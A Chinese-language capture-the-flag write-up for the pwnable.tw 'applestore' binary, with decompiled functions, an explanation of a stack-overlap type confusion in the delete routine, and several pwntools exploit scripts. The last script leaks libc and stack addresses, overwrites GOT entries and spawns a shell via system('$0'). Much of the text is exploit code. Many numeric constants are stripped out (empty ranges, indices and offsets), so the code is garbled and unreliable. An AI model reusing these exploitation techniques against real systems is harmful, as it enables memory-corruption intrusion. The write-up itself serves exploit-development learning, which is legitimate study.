pwnable.tw applestore

I is so vegetable:(，我tcl又由于忙于毕设和各种比赛各种耽误，到今天才真正把这题搞出来

存储结构

0x804B070链表头
struct _mycart_binlist
{
    int *name;    //ebp-0x20
    int price;        //ebp-0x1c
    struct _mycart_binlist *next;    //ebp-0x18
    struct _mycart_binlist *pre;    //ebp-0x14
}

insert

int __cdecl insert(int a1)
{
  int result; // eax
  _DWORD *i; // [esp+Ch] [ebp-4h]

  for ( i = &myCart; i[]; i = (_DWORD *)i[] )
    ;
  i[] = a1;                                    // the_last_mycart->next=inserted
  result = a1;
  *(_DWORD *)(a1 + ) = i;                     // inserted->pre=the_last_mycart
  return result;
}

checkout

unsigned int checkout()
{
  int v1; // [esp+10h] [ebp-28h]
  char *v2; // [esp+18h] [ebp-20h]
  int v3; // [esp+1Ch] [ebp-1Ch]
  unsigned int v4; // [esp+2Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v1 = cart();
  if ( v1 ==  )
  {
    puts("*: iPhone 8 - $1");
    asprintf(&v2, "%s", "iPhone 8");
    v3 = ;                                     // price=1
    insert((int)&v2);
    v1 = ;
  }
  printf("Total: $%d\n", v1);
  puts("Want to checkout? Maybe next time!");
  return __readgsdword(0x14u) ^ v4;
}

这里存在问题的应该是checkout的insert，用贪心的思想求解下v1=7174各个商品的数量

*=
*=
*=
*=
*=
*=
*=
*=
*=
*=    -*=
100x+200y+300z=    =>x+2y+3z=
x+y+z=
        =>y+2z=
        y=    z=
        x=    c=
199x 299y 399z 499c

写个脚本验证下

from pwn import *

context.log_level='DEBUG'

p=process('./applestore')

def add(idx):
    p.sendlineafter('>','2')
    p.sendlineafter('Device Number> ',str(idx))

for i in range(0,18):
    add(1)
add(2)
for i in range(0,2):
    add(4)
for i in range(0,5):
    add(3)

gdb.attach(p,gdbscript='b *0x08048B98\n')

p.interactive()

这里存在的问题是delete时执行my_read直接在栈中保存输入的字符串引起一个类型混淆，利用delete双向链表的断链操作DWORD_SHOOT得到一个任意地址写的机会，修改GOT即可导致任意代码执行。

unsigned int delete()
{
  signed int idx; // [esp+10h] [ebp-38h]
  _DWORD *v2; // [esp+14h] [ebp-34h]
  int delete_obj; // [esp+18h] [ebp-30h]
  int next; // [esp+1Ch] [ebp-2Ch]
  int pre; // [esp+20h] [ebp-28h]
  char nptr; // [esp+26h] [ebp-22h]
  unsigned int v7; // [esp+3Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  idx = ;
  v2 = (_DWORD *)dword_804B070;
  printf("Item Number> ");
  fflush(stdout);
  my_read(&nptr, 0x15u);                        // 栈里边直接保存输入的字符串，虽然不会溢出，但这里会造成类型混淆
  delete_obj = atoi(&nptr);
  while ( v2 )
  {
    if ( idx == delete_obj )
    {
      next = v2[];                             // next
      pre = v2[];                              // pre
      if ( pre )
        *(_DWORD *)(pre + ) = next;            // victim->pre->next=victim->next
      if ( next )
        *(_DWORD *)(next + ) = pre;           // victim->next->pre=victim->pre
      printf("Remove %d:%s from your shopping cart.\n", idx, *v2);
      return __readgsdword(0x14u) ^ v7;
    }
    ++idx;
    v2 = (_DWORD *)v2[];
  }
  return __readgsdword(0x14u) ^ v7;
}

这里引起类型混淆的本质原因是我们执行checkout插入的V2距离ebp为EBP-20H，执行完checkout只是抬高栈帧，并不会销毁函数栈；而此时我们调用delete，会在调用checkout结束的位置开辟栈帧，这样得到的函数栈就和checkout的函数栈重叠，而delete会在栈中直接保存输入的字符串（EBP-22H的位置），就会引起一次类型混淆

handler    ebp___

    　　　　38h

    　　　　esp__
checkout   ebp__    delete  ebp__

    　　　　38h        　　   48h
   　　　　 V2=ebp-20h       nptr=ebp-22h    

    　　　　esp__            esp__

DWORD_SHOT并不可行，如果我们如下构造struct执行DWORD_SHOT的话，虽然GOT表可写，但是由于双向链表断链过程会执行victim->pre=victim->next，即read@got会写入*system@got+12的位置，而*system@got+12位于libc text段，肯定不可写，这里会崩溃。

struct
{
    *name    =>    padding
    price      =>    padding
    *nexe    =>    read@got
    *pre    =>    system@got
}

以下脚本可以验证DWORD_SHOT不可行。so,how to get it pwned?

from pwn import *

context.log_level='DEBUG'

p=process('./applestore')
elf=ELF('./applestore')
libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')

def add(idx):
    p.sendlineafter('>','')
    p.sendlineafter('Device Number> ',str(idx))

def delete(idx):
    p.sendlineafter('>','')
    p.sendlineafter('Item Number>',str(idx))

def checkout():
    p.sendlineafter('>','')
    p.sendlineafter('>','y')

def cart(payload):
    p.sendlineafter('>','')
    p.sendlineafter('>',str(payload))

for i in range(,):
    add()
add()
for i in range(,):
    add()
for i in range(,):
    add()

checkout()

payload='y\x0a'+p32(elf.got['read'])+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
read_got=u32(p.recv())
libc_base=read_got-libc.sym['read']
success('libc_base:'+hex(libc_base))
success('read_got:'+hex(read_got))

#gdb.attach(p,gdbscript='b *0x08048B98\n')    #b insert()
gdb.attach(p,gdbscript='''
    b *0x080489F0
    break *0x080489FB if $[$ebp-0x38]==
    ''')        #b delete_obj

sys_got=libc_base+libc.sym['system']
success('system:'+hex(sys_got))
payload='\x32\x37\x00\x20'+'b'*+p32(read_got-)+p32(sys_got)
delete(payload)

#gdb.attach(p,gdbscript='b *0x080489FB\n')

p.interactive()

由于delete中我们有一次任意地址写的机会，而在执行完delete返回到handler时会再次引用栈内存ebp-0x22（在这个位置读入），所以我们考虑修改ebp的值，进而覆盖asprintf@got和atoi@got（这两个got的地址是相邻的），asprintf@got覆盖成'$0\x00\x00‘（4字节），atoi@got覆盖成sys_addr即可。这样在0x8048c16执行atoi时即执行system('$0')即可getshell

from pwn import *

context.log_level='DEBUG'

elf=ELF('./applestore')
local=
if local:
    p=process('./applestore')
    libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
else:
    p=remote('chall.pwnable.tw',)
    libc=ELF('./libc_32.so.6')

def add(idx):
    p.sendlineafter('>','')
    p.sendlineafter('Device Number> ',str(idx))

def delete(idx):
    p.sendlineafter('>','')
    p.sendlineafter('Item Number>',str(idx))

def checkout():
    p.sendlineafter('>','')
    p.sendlineafter('>','y')

def cart(payload):
    p.sendlineafter('>','')
    p.sendlineafter('>',str(payload))

for i in range(,):
    add()
add()
for i in range(,):
    add()
for i in range(,):
    add()

checkout()

payload='y\x0a'+p32(elf.got['read'])+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
read_got=u32(p.recv())
libc.address=read_got-libc.sym['read']
env=libc.sym['environ']
success('libc_base:'+hex(libc.address))
success('read_got:'+hex(read_got))

payload='y\x0a'+p32(env)+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
stack_env=u32(p.recv())
success('stack_env:'+hex(stack_env))
ebp=stack_env-0x104
success('stack_ebp:'+hex(ebp))

asprintf_got=elf.got['asprintf']
atoi_got=elf.got['atoi']
sys=libc.sym['system']
payload=''+p32(sys)+p32()+p32(ebp-)+p32(asprintf_got+0x22)

if local:
    gdb.attach(p,gdbscript='''
        b *0x080489F0\n
        b *0x08048A6F\n
        b *0x8048c0b\n
    ''')
    pause()
delete(payload)

p.recvuntil('from your shopping cart.')
payload='$0\x00\x00'+p32(sys)
p.sendline(payload)

p.interactive()